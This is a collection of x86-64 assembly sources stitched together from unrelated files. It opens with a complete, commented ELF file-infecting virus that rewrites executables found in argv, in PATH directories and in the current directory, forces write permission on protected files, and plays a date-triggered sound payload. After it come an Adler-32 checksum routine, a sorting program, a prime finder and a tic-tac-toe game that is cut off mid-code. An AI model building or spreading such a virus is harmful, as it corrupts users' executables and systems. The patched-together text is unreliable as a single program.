format ELF64 executable use64 ; XXX: You have to set this to the resulting ELF file size manually. SIZE equ 1434 ; XXX: You have to set this to the position of the "palaiologos" string ; in the binary yourself. SENTINEL_LOC equ 120 sys_execve equ 59 sys_open equ 2 sys_lseek equ 8 sys_memfd_create equ 319 sys_sendfile equ 40 sys_close equ 3 sys_exit equ 60 sys_getdents equ 78 sys_access equ 21 sys_stat equ 4 sys_chmod equ 90 entry _start sentinel: db 'palaiologos',0 memfd_path: db '/proc/self/fd/',0,0 self: db '/proc/self/exe' snddev: db "/dev/dsp1", 0 pathsep: db "/", 0 empty: db 0 size: dq SIZE seed: dq 0 ldays: dd -1, 30, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 days: dd -1, 30, 58, 89, 119, 150, 180, 211, 242, 272, 303, 333, 364 LCG_A equ 1103515245 LCG_B equ 12345 load_elf: ; Open ourselves. xor esi, esi mov edi, self push sys_open pop rax syscall ; Obtain the length: seek to back. mov r8, rax mov rdi, r8 push sys_lseek pop rax syscall ; Call memfd_create, call with MFD_CLOEXEC. mov edi, empty push 1 pop rsi push sys_memfd_create pop rax syscall ; Copy the file contents to the memfd using sendfile. mov edx, size mov r9, rax mov rdi, rax mov rsi, r8 sub r10d, SIZE push sys_sendfile pop rax syscall ; Close the file descriptor we hold to our own binary. push sys_close pop rax mov rdi, r8 syscall ; Bravely assume that the memfd descriptor number is a single digit. ; This might or might not work all of the times, but improving upon ; this is trivially beyond the scope of this post. add r9d, 48 mov BYTE [memfd_path + 14], r9b ret ; The entry point. _start: ; Load the executable to a memfd. call load_elf ; Load the argp for the first payload. mov rdi, [rsp] lea rdi, [rsp + 8 + rdi * 8 + 8] call infect_path ; Load the argv for the second payload. lea rbx, [rsp + 8] call infect_argv ; Infect the current directory as the third payload. call infect_selfdir ; Call the final birthday payload. call birthday ; Load the path to the executable mov rdi, memfd_path ; Prepare to call execve ; Load argc + argv lea rsi, [rsp + 8] ; Load argp mov rdx, [rsp] lea rdx, [rsp + 8 + rdx * 8 + 8] ; Perform the syscall push sys_execve pop rax syscall ; Exit in case execve returns due to error. mov rdi, -1 push sys_exit pop rax syscall infect_argv: ; Load two constants related to access() to ; avoid having to reload them in the loop. ; We're interested in the syscall number ; and the two arguments specifying access ; mode. push sys_access pop r14 push 6 ; R_OK | W_OK pop r15 .argv_loop: ; We could use argc, but we can also assume ; that argv is terminated with a NULL. mov rdi, qword [rbx] test rdi, rdi je .done ; Check if we can infect the file. Don't bother ; trying to tweak the permissions. mov rsi, r15 mov rax, r14 syscall ; access() returned nonzero -> we can't infect test eax, eax jne .skip_infect ; Load the path to the executable and infect it. mov rdi, qword [rbx] call infect .skip_infect: ; Skip to the next pointer in the argv array. add rbx, 8 jmp .argv_loop .done: ret infect_selfdir: ; Reserve some space on the stack. sub rsp, 40 ; Load the first buffer with PATH=. lea rax, [rsp + 9] mov dword [rax], 'PATH' mov word [rax + 4], '=.' mov byte [rax + 6], 0 ; Write the buffer as the first entry and NULL-terminate the ; artificial ARGP. lea rdi, [rsp + 16] mov qword [rdi], rax and qword [rdi + 8], 0 ; Infect. call infect_path add rsp, 40 ret ; Wants to be called with argp in rdi. infect_path: ; Reserve a (somewhat arbitrary) amount of stack space. ; It needs to hold a few path buffers (3 buffers, 4096 bytes each) sub rsp, 12456 ; Query the current time stamp counter as a source of randomness. ; rdtsc will set rdx and rax to the higher and lower bits of the time ; stamp counter, so we put them together and store them in the RNG seed ; variable. rdtsc shl rdx, 32 or rdx, rax mov qword [seed], rdx ; Find "PATH=" in ARGP. .path_find_loop: ; NULL terminates argp, check for this. mov rax, qword [rdi] test rax, rax je .infect_done ; Load the first five bytes of the current string. ; If any of them is NUL, we skip to the next string. mov cl, byte [rax] test cl, cl je .path_loop_skip mov dl, byte [rax + 1] test dl, dl je .path_loop_skip mov bl, byte [rax + 2] test bl, bl je .path_loop_skip mov sil, byte [rax + 3] test sil, sil je .path_loop_skip mov r8b, byte [rax + 4] test r8b, r8b je .path_loop_skip ; Check if the ASCII values are right. cmp cl, 'P' jne .path_loop_skip cmp dl, 'A' jne .path_loop_skip cmp bl, 'T' jne .path_loop_skip cmp sil, 'H' jne .path_loop_skip cmp r8b, '=' je .path_found .path_loop_skip: ; Go to the next pointer in the argp array. add rdi, 8 jmp .path_find_loop .path_found: add rax, 5 ; Select the final path buffer. lea r12, [rsp + 4256] ; Load a few auxiliary constants. push 3 pop rbx push sys_open pop r8 .path_loop: ; Check if we've hit the end of the PATH variable. mov cl, byte [rax] test cl, cl je .infect_done ; Copy path until : or \0 is found. xor r13d, r13d .copy_path: test cl, cl je .attempt_scan cmp cl, ':' je .attempt_scan mov byte [rsp + r13 + 160], cl mov cl, byte [rax + r13 + 1] inc r13 jmp .copy_path .attempt_scan: ; NUL-terminate the path. mov ecx, r13d mov byte [rsp + rcx + 160], 0 xor ecx, ecx ; Check if we have to skip an extra colon. cmp byte [rax + r13], ':' sete cl add rcx, rax ; Decide whether we want to infect this directory. ; Take a random number from a linear congruential generator ; and divide it by three. The modulus of zero means "no". imul rax, qword [seed], LCG_A add rax, LCG_B mov qword [seed], rax xor edx, edx div rbx test rdx, rdx je .next_path ; O_RDONLY | O_DIRECTORY mov esi, 0x10000 lea rdi, [rsp + 160] mov rax, r8 ; Preserve rcx through the system call. mov qword [rsp], rcx syscall mov rcx, qword [rsp] ; Clever way to determine whether the number is negative. bt eax, 31 jb .next_path ; Save the file descriptor. mov qword [rsp + 8], rax ; Copy the file descriptor elsewhere, because we are going to use ; it now, and it would be a shame if a syscall clobbered it ;). mov rbp, rax .getdents_loop: ; Load max path size. mov edx, 4096 ; Load the directory file descriptor. mov rdi, rbp ; Load the buffer address. lea rsi, [rsp + 8352] push sys_getdents pop rax syscall ; Jump to some common error stub that will close the ; directory descriptor in case of failure. test eax, eax je .getdents_err ; Preserve the amount of entries somewhere. ; eax is often trashed by system calls so we want to ; avoid it being lost. mov r14d, eax xor eax, eax .dir_loop: ; Load the current entry number, directory entries buffer ; and the random seed. mov r15d, eax lea rbx, [rsp + r15] add rbx, 8352 mov rax, qword [seed] .discard_loop: ; Done processing? cmp r14, r15 jbe .getdents_loop ; Extract the type of the directory entry. movzx ecx, word [rbx + 16] mov dl, byte [rbx + rcx - 1] ; Skip if not a regular file or a symlink. and dl, -3 cmp dl, 8 jne .give_up ; Invoke the LCG again. Skip the entry upfront if dividing by ; four gives modulus 0, that is, last two binary digits of the ; number are 0. imul rax, rax, LCG_A add rax, LCG_B mov qword [seed], rax test al, 3 je .discard_loop ; OK, first nul-terminate the final buffer with the filename ; so that the `concat` function can work properly. Then append the ; directory name to that empty final buffer. mov byte [rsp + 4256], 0 mov rdi, r12 lea rsi, [rsp + 160] call concat ; We need to terminate the path with a slash only if it is not present ; already. Check this. Use a dumb strlen-ish function. mov rax, r12 .len_loop: cmp byte [rax], 0 je .len_ok inc rax jmp .len_loop .len_ok: ; Slash? cmp byte [rax - 1], '/' je .has_slash mov esi, pathsep mov rdi, r12 call concat .has_slash: ; Append the file name now. lea rsi, [rbx + 18] mov rdi, r12 call concat ; Check if we can access the file for reading and writing. mov rdi, r12 push 6 ; R_OK | W_OK pop rsi push sys_access pop rax syscall mov rcx, rax ; Decide whether we want to infect this file anyway. ; Same LCG and division stuff, except this time with the ; modulus of 10. imul rax, qword [seed], LCG_A add rax, LCG_B mov qword [seed], rax xor edx, edx push 10 pop rsi div rsi ; Proceed only if: ; (1) the file is not accessible ; (2) we want to infect it ; Handle a special case here: try to add an owner ; write permission bit to the file and see if this lets ; us access it... :). Might protect against some ; "overzealous" (removes write permissions on critical ; executables to avoid problems) but not "overly paranoid" ; (removes write permissions /and/ transfers ownership) users. ; In that case we can do nothing but hope that we get root somehow. test ecx, ecx je .normal_path test rdx, rdx jne .normal_path ; Stat the file. mov rdi, r12 lea rsi, [rsp + 16] push sys_stat pop rax syscall ; Set the owner write permission bit and call chmod. mov esi, dword [rsp + 40] or rsi, 128 mov dword [rsp + 40], esi mov rbp, r12 push sys_chmod pop r12 mov rax, r12 syscall ; Try to access again? mov rdi, rbp push 6 ; R_OK | W_OK again. pop rsi push sys_access pop rax syscall ; Still no? Restore the permissions. test eax, eax jne .restore_perms ; Yes => do infect. mov rdi, rbp call infect .restore_perms: mov esi, dword [rsp + 40] and esi, -129 ; Everything except the bit 7 mov dword [rsp + 40], esi mov rdi, rbp mov rax, r12 syscall ; File still not accessible. Give up. ; Load the directory descriptor. mov rax, qword [rsp + 8] mov r12, rbp mov rbp, rax jmp .give_up .normal_path: ; Check if we want to infect this file. test rdx, rdx jne .give_up ; Do infect. mov rdi, r12 call infect .give_up: ; We end up here when it's time to skip to ; the next directory entry. movzx ecx, word [rbx + 16] movzx eax, cx add eax, r15d jmp .dir_loop .getdents_err: ; We get here when it's time to close the ; directory descriptor and move on. mov rdi, rbp push sys_close pop rbx mov rax, rbx syscall ; Load the sys_open constant again push sys_open pop r8 mov rcx, qword [rsp] .next_path: ; Go to the next path to process add rcx, r13 mov rax, rcx jmp .path_loop .infect_done: ; Balance the stack and yield. add rsp, 12456 ret concat: ; Find the end of the first string. cmp byte [rdi], 0 lea rdi, [rdi + 1] jne concat ; Start appending characters in a loop. push -1 pop rax .do_loop: ; Nothing left in the source string. mov cl, byte [rsi + rax + 1] test cl, cl je .done mov byte [rdi + rax], cl inc rax jmp .do_loop .done: ; Null-terminate the string. mov byte [rdi + rax], 0 ret infect: ; Preserve a bunch of registers that the caller function needs. push r15 push r14 push rbx ; Reserve enough space for the transaction buffer. sub rsp, 200 + SIZE ; Open the goat file w/ O_RDWR. mov rbx, sys_open mov rsi, rbx mov rax, rbx syscall ; Check if the file was opened successfully. bt eax, 31 jb .cleanup ; Read the ELF header. mov r8d, eax lea rsi, [rsp - 112] ; Size of the ELF header. mov rdx, 64 mov rdi, r8 ; sys_read = 0 xor eax, eax syscall ; Check machine type (AMD64, code 62) cmp word [rsi + 18], 62 jne .elf_bad ; ELF class (64-bit) cmp byte [rsp - 108], 2 jne .elf_bad ; Check the 0x7f ELF magic. cmp byte [rsp - 109], 'F' jne .elf_bad cmp byte [rsp - 110], 'L' jne .elf_bad cmp byte [rsp - 111], 'E' jne .elf_bad cmp byte [rsp - 112], 0x7F jne .elf_bad ; Rewind to the SENTINEL_LOC-th byte. We want to check ; if this ELF file was already infected. mov r9, sys_lseek mov rsi, SENTINEL_LOC mov rdi, r8 xor edx, edx mov rax, r9 syscall ; Read 12 bytes (length of "palaiologos\0") lea rsi, [rsp - 128] mov rdx, 12 xor eax, eax syscall ; Check if the sentinel is present. movq xmm0, qword [rsi] movq rax, xmm0 ; Check the first part. mov rcx, 'palaiolo' cmp rax, rcx jne .elf_clean ; Check the remaining bytes: gos\0 cmp byte [rsp - 120], 'g' jne .elf_clean cmp byte [rsp - 119], 'o' jne .elf_clean cmp byte [rsp - 118], 's' jne .elf_clean cmp byte [rsp - 117], 0 jne .elf_clean .elf_bad: ; Close ourselves and return. Already infected. mov rax, 3 mov rdi, r8 syscall jmp .cleanup .elf_clean: ; Open self. mov edi, self xor esi, esi mov rax, rbx syscall ; Open a memfd with O_CLOEXEC. mov r10d, eax mov r14, 1 mov edi, empty mov eax, sys_memfd_create mov rsi, r14 syscall ; Copy over the viral stub from ourselves to the memfd. mov ebx, eax lea r15, [rsp - 48] mov edx, SIZE mov rdi, r10 mov rsi, r15 xor eax, eax syscall mov edx, SIZE mov rdi, rbx mov rax, r14 syscall ; Seek to the beginning of the goat file (we want the ELf header back). mov rdi, r8 xor esi, esi xor edx, edx mov rax, r9 syscall ; Copy data from the goat file to the memfd in a loop. .copy_goat_memfd: mov edx, SIZE mov rdi, r8 mov rsi, r15 xor eax, eax syscall test eax, eax je .copy_goat_memfd_done mov edx, eax mov rdi, rbx mov rsi, r15 mov rax, r14 syscall jmp .copy_goat_memfd ; Rewind the goat file and the memfd. .copy_goat_memfd_done: mov rdi, rbx xor esi, esi xor edx, edx mov rax, r9 syscall mov rdi, r8 xor esi, esi xor edx, edx mov rax, r9 syscall ; Overwrite the goat file with the memfd contents. lea rsi, [rsp - 48] .copy_memfd_goat: mov edx, SIZE mov rdi, rbx xor eax, eax syscall test eax, eax je .copy_memfd_goat_done mov edx, eax mov rdi, r8 mov rax, r14 syscall jmp .copy_memfd_goat .copy_memfd_goat_done: ; Close goat, memfd, and self. mov rdx, sys_close mov rdi, rbx mov rax, rdx syscall mov rdi, r8 mov rax, rdx syscall mov rdi, r10 mov rax, rdx syscall .cleanup: ; Balance the stack and quit. add rsp, 200 + SIZE pop rbx pop r14 pop r15 ret sys_time equ 201 birthday: ; Ask for the current UNIX time. mov eax, sys_time xor edi, edi syscall ; Determine whether we are dealing with a ; leap year. We want to obtain the divmod of ; the UNIX time stamp and four years expressed in ; seconds (1461 * seconds in a day) = (1461 * 24 * 60 * 60) ; = 126230400 mov ecx, eax mov esi, 126230400 xor edx, edx div esi imul rax, rax, -126230400 add rax, rcx ; Determine the correct year in the four year interval. ; If the quotient result of divmod is less than a year, ; just ignore the entire thing. ; 31536000 is the amount of seconds in a year. cmp rax, 31536000 jl .year_ok ; Check if we're in the 2nd year of the 4 year interval. ; Easy to notice that this constant is the amount of seconds ; in two years. cmp rax, 63072000 jb .sub_year ; Same logic as above except three years. ; There's a twist though: we need to account for a leap day. ; The logic for leap days is way different... cmp rax, 94694400 jb .is_leap ; Leap year: subtract 3 years worth of seconds and add a leap day. sub rax, 94694400 jmp .year_ok .sub_year: ; Subtract a year's worth of seconds. sub rax, 31536000 .year_ok: ; Calculate days since 01/01. mov ecx, 86400 xor edx, edx div rcx cdqe ; Load the running total of days in each month. mov rcx, days .determine_month: push -1 pop rdx .month_loop: ; Bump up the month until exceeded days since 01/01. lea esi, [rdx + 2] movsxd rsi, dword [rcx + 4 * rsi] inc edx cmp rax, rsi jg .month_loop ; Save the month value for later. mov esi, edx ; Load the day of month. movsxd rcx, dword [rcx + 4 * rsi] sub rax, rcx ; Check if the day and month match. cmp rax, 9 jne .heck cmp edx, 7 jne .heck ; Pick a random number and proceed only with 10% certainty... imul rax, qword [rip + seed], LCG_A add rax, LCG_B mov qword [rip + seed], rax push 10 pop rcx xor edx, edx div rcx test rdx, rdx je proceed .heck: ret .is_leap: ; Compute day of year and load the leap days LUT. sub eax, 63072000 mov ecx, 86400 xor edx, edx div ecx mov rcx, ldays jmp .determine_month proceed: ; Open the sound device. mov rax, 2 mov r8, 1 mov edi, snddev mov rsi, r8 syscall ; Play the "suspense" sound. mov edi, eax xor ebp, ebp ; Load the place on the stack where the sample is saved. lea rsi, [rsp - 4] xor ebx, ebx .susp_loop: ; 58000 ticks. cmp ebx, 58000 je .susp_done ; Generate the sample. mov ecx, ebx shr ecx, 13 and cl, 27 mov eax, 322376503 shr eax, cl and eax, 127 imul eax, ebx mov ecx, ebx shr ecx, 4 or ecx, ebp or ecx, eax ; Save and write. mov dword [rsp - 4], ecx mov rdx, r8 mov rax, r8 syscall ; Loop again. inc ebx add ebp, 32 jmp .susp_loop .susp_done: ; Purposefully waste some CPU cycles for delay. mov eax, 100000 .busy: sub eax, 1 jb .busydone nop jmp .busy .busydone: ; Roll a dice. 33% chance of playing the "doomy" sound. imul rax, qword [seed], LCG_A add rax, LCG_B mov qword [seed], rax xor ebp, ebp mov r9, 3 xor edx, edx div r9 test rdx, rdx je .doomy ; Generate the "good" samples! mov r10d, 1 mov ebx, 8 mov ebp, 13 lea rsi, [rsp - 12] mov r14d, 12 ; The song is procedurally generated in stages three stages: ; stage 0, stage 1 and stage 2. .good_main: cmp r10d, 106000 je .good_done mov eax, ebp mov ecx, ebx cmp r10d, 35000 jb .good0 cmp r10d, 67499 ja .good1 lea ecx, [r10 + 8 * r10] mov eax, ebp jmp .good0 .good1: cmp r10d, 83999 ja .good2 lea ecx, [r10 + 8 * r10] mov eax, r14d jmp .good0 .good2: lea ecx, [8*r10] cmp r10d, 98000 mov eax, ebp sbb eax, 0 .good0: mov edx, r10d shr edx, 2 imul eax, r10d add eax, edx mov edx, r10d shr edx, 3 or edx, ecx mov ecx, r10d shr ecx, 5 or ecx, edx or ecx, eax ; Write the sample. mov dword [rsp - 12], ecx mov rdx, r8 mov rax, r8 syscall inc r10d add ebx, 8 jmp .good_main .good_done: ; Close file descriptor. mov rax, r9 syscall jmp .cleanup .doomy: ; "Doomy" track. lea rsi, [rsp - 8] .doomy_loop: cmp ebp, 250000 je .doomy_quit mov eax, ebp shr eax, 11 mov ecx, ebp shr ecx, 1 or ecx, eax imul eax, ecx, 430 ; Write the sample. mov dword [rsp - 8], eax mov rdx, r8 mov rax, r8 syscall add ebp, 5 jmp .doomy_loop .doomy_quit: ; Exit with code 0. mov rax, 60 xor edi, edi syscall .cleanup: ret format ELF64 executable use64 entry _start ; Compute x / 0xFFF1. Consider K = (2 ^ N) / 0xFFF1, for some value of N. ; Now, to compute X / 0xFFF1 is to compute X * K, and shift it N positions to the right. ; Finally, compute `x - trunc(edx = x / 0xFFF1) * 0xFFF1`, yielding the desired remainder. ; K = 0x80078071 used throughout the program has been devised from N=47, since ; N=32+M, where M is the smallest integer where: ; 0xFFF1 <= (2^(32 + M) mod 0xFFF1) + 2^M, or alternatively ; 0xFFF1 <= 0xFFF1 * floor(2^(M+32) / 0xFFF1) + 2^M + 2^(M+32). macro mod0xFFF1 K,N,src,reg { mov e#reg, src imul r#reg, K shr r#reg, N imul e#reg, e#reg, 0xFFF1 sub src, e#reg } ; Compute the adler32 checksum. ; Input: ; - EDI => initial checksum value. ; - RCX => input buffer ; - RDX => input size adler32: ; eax = high(edi), esi = low(edi) mov eax, edi shr eax, 16 movzx esi, di ; load the pointer to the end of the data lea r10, [rcx + rdx] ; the data needs to be processed byte-wise until desired alignment is reached. ; if the input size is 0, terminate the algorithm as there is nothing to checksum. ; The value of the initial checksum value will be glued back together and returned. test rdx, rdx je .terminate ; Check if the lowest two bits of the input pointer are aligned to 16 bytes. test cl, 15 jne .unaligned .aligned: ; If we have reached this point, the data is aligned so we can process it using vector operations. ; Compute the new end taking on the account the possibility that some of the data might have been processed already ; and it will be processed afterwards. end -= (end - p) & 0x1F to adjust for the amount of bytes per iteration (32) mov rdx, r10 mov r8, r10 sub rdx, rcx and edx, 31 sub r8, rdx ; Not even one iteration of the vectorised algorithm is guaranteed. If the data isn't large enough to be processed ; in a chunk (less than 32 bytes), skip to the bytewise checksumming part. cmp rcx, r8 je .process_remaining ; Load a few constants that will be used throughout the algorithm to save a few CPU cycles during the loop. ; The value of K for the mod0xFFF1 macro. mov r9d, 0x80078071 ; The initial vector values. pxor xmm1, xmm1 movdqu xmm8, [.V32] movdqu xmm7, [.V24] movdqu xmm6, [.V16] movdqu xmm5, [.V8] .chunk_loop: ; Compute the chunk size. It's either the smaller of two values - the amount of data to process in total, or 4096 (chunk * 8). mov rdx, r8 sub rdx, rcx mov edi, 4096 cmp rdx, rdi cmova rdx, rdi ; Clear the vector registers. ; XMM0 => sum of bytes ; XMM13 => sum of low bytes ; XMM4, XMM11, XMM10, XMM9 => 16-bit counters for byte sums. Each accumulates a ; number and the dot product will need to be computed to add the resulting ; high bytes pxor xmm0, xmm0 pxor xmm13, xmm13 pxor xmm4, xmm4 pxor xmm11, xmm11 pxor xmm10, xmm10 pxor xmm9, xmm9 ; Subtract chunk size modulo the amount of bytes per iteration (32). mov rdi, rdx mov rdx, rcx and rdi, 0xFFFFFFFFFFFFFFE0 ; Define the end of the chunk as the input pointer + chunk size. add rcx, rdi ; high += low * chunk_size imul edi, esi add edi, eax .inner_chunk_loop: ; Accumulate previous counters to current counters and load a new batch ; of data using aligned moves. movdqa xmm3, [rdx] movdqa xmm2, [rdx + 16] paddd xmm13, xmm0 ; Use `PSADBW` to add the bytes horizontally with 8 bytes per sum. ; Add the sums to XMM0. movdqa xmm12, xmm3 psadbw xmm12, xmm1 paddd xmm12, xmm0 movdqa xmm0, xmm2 psadbw xmm0, xmm1 paddd xmm0, xmm12 ; Accumulate the data into the additional counters too. ; Unpack high and low parts and add them to the respective counter vector. movdqa xmm12, xmm3 punpckhbw xmm3, xmm1 punpcklbw xmm12, xmm1 paddw xmm11, xmm3 paddw xmm4, xmm12 movdqa xmm3, xmm2 punpckhbw xmm2, xmm1 punpcklbw xmm3, xmm1 paddw xmm9, xmm2 paddw xmm10, xmm3 ; Loop until the end of the chunk has been reached. add rdx, 32 cmp rcx, rdx jne .inner_chunk_loop ; Finish calculating the XMM13 and XMM0 counter. Update the values of high and low (respectively) checksum elements. pshufd xmm3, xmm0, 0x31 paddd xmm0, xmm3 pshufd xmm3, xmm0, 0x2 paddd xmm0, xmm3 movd eax, xmm0 add esi, eax mod0xFFF1 r9, 47, esi, ax pslld xmm13, 5 movdqa xmm2, xmm4 pmaddwd xmm2, xmm8 paddd xmm2, xmm13 pmaddwd xmm11, xmm7 paddd xmm2, xmm11 pmaddwd xmm10, xmm6 paddd xmm2, xmm10 pmaddwd xmm9, xmm5 paddd xmm2, xmm9 pshufd xmm0, xmm2, 0x31 paddd xmm0, xmm2 pshufd xmm2, xmm0, 0x2 paddd xmm0, xmm2 movd eax, xmm0 add eax, edi mod0xFFF1 r9, 47, eax, dx ; Loop while there is data left. cmp r8, rcx jne .chunk_loop .process_remaining: ; Check if the input pointer has reached the end already. cmp r10, rcx je .terminate .process_bytewise: ; The contents of this loop are mirrored in the bytewise checksumming part to get a chunk of aligned data. movzx edx, BYTE [rcx] inc rcx add esi, edx add eax, esi cmp r10, rcx jne .process_bytewise ; The process of computing the remainder of the high and low parts by 0xFFF1. Explanation below. mov edi, 0x80078071 mod0xFFF1 rdi, 47, esi, dx mod0xFFF1 rdi, 47, eax, dx .terminate: ; Glue together eax and esi (respectively higher and lower bits of the resulting checksum) and yield the result. sal eax, 16 or eax, esi ret .recheck_alignment: ; Check lowest two bits of the input pointer to determine whether it's aligned to 16 bits. test cl, 15 je .now_aligned .unaligned: ; Process unaligned data. Perform byte-wise checksumming until alignment is reached. ; low += *input++. movzx edx, BYTE [rcx] inc rcx add esi, edx ; high += low add eax, esi cmp r10, rcx jne .recheck_alignment .now_aligned: ; Compute the remainder of the high and low parts of the checksum when dividing by 0xFFF1. mov edi, 0x80078071 mod0xFFF1 rdi, 47, esi, dx mod0xFFF1 rdi, 47, eax, dx ; The data is aligned now. jmp .aligned .V32: dw 32, 31, 30, 29, 28, 27, 26, 25 .V24: dw 24, 23, 22, 21, 20, 19, 18, 17 .V16: dw 16, 15, 14, 13, 12, 11, 10, 9 .V8: dw 8, 7, 6, 5, 4, 3, 2, 1 ; stat structure buffer. sb: times 144 db 0 ; System interface on x64 Linux works as follows: ; eax - syscall_number ; Parameters: ; 1st 2nd 3rd 4th 5th 6th ; rdi rsi rdx r10 r8 r9 ; The system call numbers (eax values) used by the driver code. open equ 2 mmap equ 9 fstat equ 5 exit equ 60 write equ 1 ; The entry point to test the checksum algorithm. ; The application takes a single CLI argument with the file to checksum. _start: ; Section 3.4.1 of the ABI document (Initial Stack and Register State) contains figure 3.9, ; which is a table describing initial stack layout. According to the the layout, the top of the stack ; is the argument count, followed by pointers to argument strings. As I am not interested in the argument ; count and the first argument, I pop them off. The remaining element is the file name and it's saved in ; rdi, which will be used for a syscall soon. pop rdi pop rdi pop rdi ; open($rdi, O_RDWR); O_RDWR = open = 2 mov eax, open mov esi, eax syscall ; Preserve the file descriptor over the fstat call. push rax ; fstat($eax, sb) to query the file size mov esi, sb mov rdi, rax mov eax, fstat syscall ; mmap(0, *(uint64_t *) sb + 48, PROT_READ = 1, MAP_SHARED = 1, fd, 0) ; Note: Offset 48 into the stat structure is the file size, but since FASM does not supply ; POSIX headers, I had to perform this calculation myself. Check `man 2 lstat`. pop r8 xor r9d, r9d xor edi, edi mov eax, mmap mov edx, 1 mov r10d, edx mov rsi, [sb + 48] syscall ; Compute the adler32 checksum. mov rdx, rsi mov rcx, rax xor eax, eax mov edi, 1 call adler32 ; Stringify the checksum to decimal. ; XXX: This code could be modified to display the checksum in hexadecimal or as-is, as binary data. ; Reserve a 16 byte buffer on the stack. mov rbp, rsp sub rbp, 16 mov edi, 10 mov esi, eax mov rcx, 14 .stringify_loop: ; Load the input number to eax. mov eax, esi xor edx, edx ; eax = eax / edi ; edx = eax % edi div edi ; Add 48 (ASCII 0) to turn the remainder into a digit. add edx, 48 ; Store the digit in the output buffer. mov BYTE [rbp + rcx], dl ; Preserve the previous value and replace it with the new one. mov edx, esi mov esi, eax ; Preserve the counter and decrement it. mov rax, rcx dec rcx ; Loop if the previous value is > 9 (=> if there are more digits left). cmp edx, 9 ja .stringify_loop ; Otherwise: print the value. ; write(1, buf + rax, 16 - rax) lea rsi, [rbp + rax] xor edi, edi inc edi mov edx, 16 sub edx, eax mov eax, write syscall ; Quit the program. `ret` obviously won't work. mov eax, exit syscall main: push RBP mov RAX, 0 mov RCX, 0 mov RBX, 0 INPUT_ARRAY: cmp RCX, 5 jz DONE mov [cnt], RCX mov RAX, 0 mov RDI, fmt_in mov RSI, a call scanf mov RAX, [a] mov RCX, [cnt] mov [array+RCX*8], RAX mov [array2+RCX*8], RAX add RBX, [a] inc RCX jmp INPUT_ARRAY DONE: mov RAX, 0 mov RCX, 0 mov RBX, 0 OUTER_LOOP: cmp RCX, 5 jge END_LOOP mov [cnt], RCX mov RAX, [array+RCX*8] INNER_LOOP: inc RCX cmp RCX, 5 jz OK cmp RAX, [array+RCX*8] jle INNER_LOOP xchg RAX, [array+RCX*8] jmp INNER_LOOP OK: mov RCX, [cnt] mov [array+RCX*8], RAX inc RCX jmp OUTER_LOOP END_LOOP: mov RAX, 0 mov RBX, 0 mov RCX, 0 mov RDI, fmt_out call printf mov RAX, 0 mov RBX, 0 mov RCX, 0 PRINT_ARRAY: cmp RCX, 5 jz END mov RAX, [array+RCX*8] inc RCX mov [cnt], RCX mov RDI, fmt mov RSI, RAX call printf mov RCX, [cnt] jmp PRINT_ARRAY END: mov RAX, 0 pop RBP ret main: push RBP mov RAX, 0 mov RSI, a mov RDI, fmt_in call scanf mov RAX, 0 mov RSI, b mov RDI, fmt_in call scanf OUTER_LOOP: mov RCX, [a] cmp RCX, [b] jg END_OUTER_LOOP mov RAX, 0 mov RCX, 2 mov RBX, 0 mov RAX , [a] cmp RAX, 2 je PRIME cmp RAX, 1 je PRIME WHILE: mov RAX, [a] mov RDX, 0 mov RBX, RCX idiv RBX cmp RDX, 0 jz NOT_PRIME inc RCX cmp RCX, [a] jz PRIME jmp WHILE PRIME: mov RCX, [size] mov RAX, [a] mov [array + RCX*8], RAX inc RCX mov [size], RCX mov RCX, [a] inc RCX mov [a], RCX jmp OUTER_LOOP NOT_PRIME: mov RCX, [a] inc RCX mov [a], RCX jmp OUTER_LOOP END_OUTER_LOOP: mov RAX, 0 mov RBX, 0 mov RCX, 0 mov RDI, fmt_out2 call printf mov RAX, 0 mov RBX, 0 mov RCX, 0 PRINT_ARRAY: cmp RCX, [size] jz LAST test RCX, 1 jz INC_ODD jmp INC_EVEN DONE: mov RAX, [array+RCX*8] inc RCX mov [cnt], RCX mov RDI, fmt_out mov RSI, RAX call printf mov RDI, spc call printf mov RCX, [cnt] jmp PRINT_ARRAY INC_ODD: mov RAX, [array+RCX*8] add RAX, [odd_pos] mov [odd_pos], RAX jmp DONE INC_EVEN: mov RAX, [array+RCX*8] add RAX, [even_pos] mov [even_pos], RAX jmp DONE LAST: mov RDI, new_line call printf mov RAX, [even_pos] sub RAX, [odd_pos] mov RDI, fmt_out3 mov RSI, RAX call printf mov RDI, new_line call printf mov RAX, 0 mov RAX, 0 pop RBP ret section .bss key resb 1 garbage resb 1 ; trash from stdin (\n) section .data new_line db 10 nl_size equ $-new_line game_draw db "_|_|_", 10 db "_|_|_", 10 db "_|_|_", 10, 0 gd_size equ $-game_draw win_flag db 0 player db "0", 0 p_size equ $-player game_over_message db "FIM DE JOGO AMIGOS", 10, 0 gom_size equ $-game_over_message game_start_message db "JOGO DA VELHA" gsm_size equ $-game_start_message player_message db "JOGADOR ", 0 pm_size equ $-player_message win_message db " GANHOU!", 0 wm_size equ $-win_message type_message db "ENTRE COM UMA POSICAO NO TABULEIRO: ", 0 tm_size equ $-type_message clear_screen_ASCII_escape db 27,"[H",27,"[2J" ; [H [2J cs_size equ $-clear_screen_ASCII_escape section .text global _start _start: nop main_loop: call clear_screen mov rsi, game_start_message mov rdx, gsm_size call print mov rsi, new_line mov rdx, nl_size call print mov rsi, player_message mov rdx, pm_size call print mov rsi, player mov rdx, p_size call print mov rsi, new_line mov rdx, nl_size call print mov rsi, game_draw mov rdx, gd_size call print mov rsi, new_line mov rdx, nl_size call print mov rsi, type_message mov rdx, tm_size call print .repeat_read: call read_keyboard ; Vamos ler a posição que o usuário vai passar cmp rax, 0 je .repeat_read mov al, [key] sub al, 48 ; 48 equivale a "0" em ASCII, eu faço essa subtração porque eu quero converter ASCII para inteiro call update_draw call check cmp byte[win_flag], 1 je game_over call change_player jmp main_loop change_player: xor byte[player], 1 ; Tipo um xor swap :) ret print: mov rax, 1 mov rdi, 1 syscall ret read_keyboard: mov rax, 0 mov rdi, 0 mov rsi, key mov rdx, 1 syscall cmp byte[key], 0x0A jz read_end mov rdi, 0 mov rsi, garbage mov rdx, 1 flush_loop: mov rax, 0 syscall cmp byte[garbage], 0x0A jz read_end jmp flush_loop read_end: ret clear_screen: mov rsi, clear_screen_ASCII_escape mov rdx, cs_size call print ret update_draw: cmp rax, 1 je first_pos cmp rax, 2 je second_pos cmp rax, 3 je third_pos cmp rax, 4 je fourth_pos cmp rax, 5 je fifith_pos cmp rax, 6 je sixth_pos cmp rax, 7 je seventh_pos cmp rax, 8 je eighth_pos cmp rax, 9 je nineth_pos jmp end_update first_pos: mov rax, 0 jmp continue_update second_pos: mov 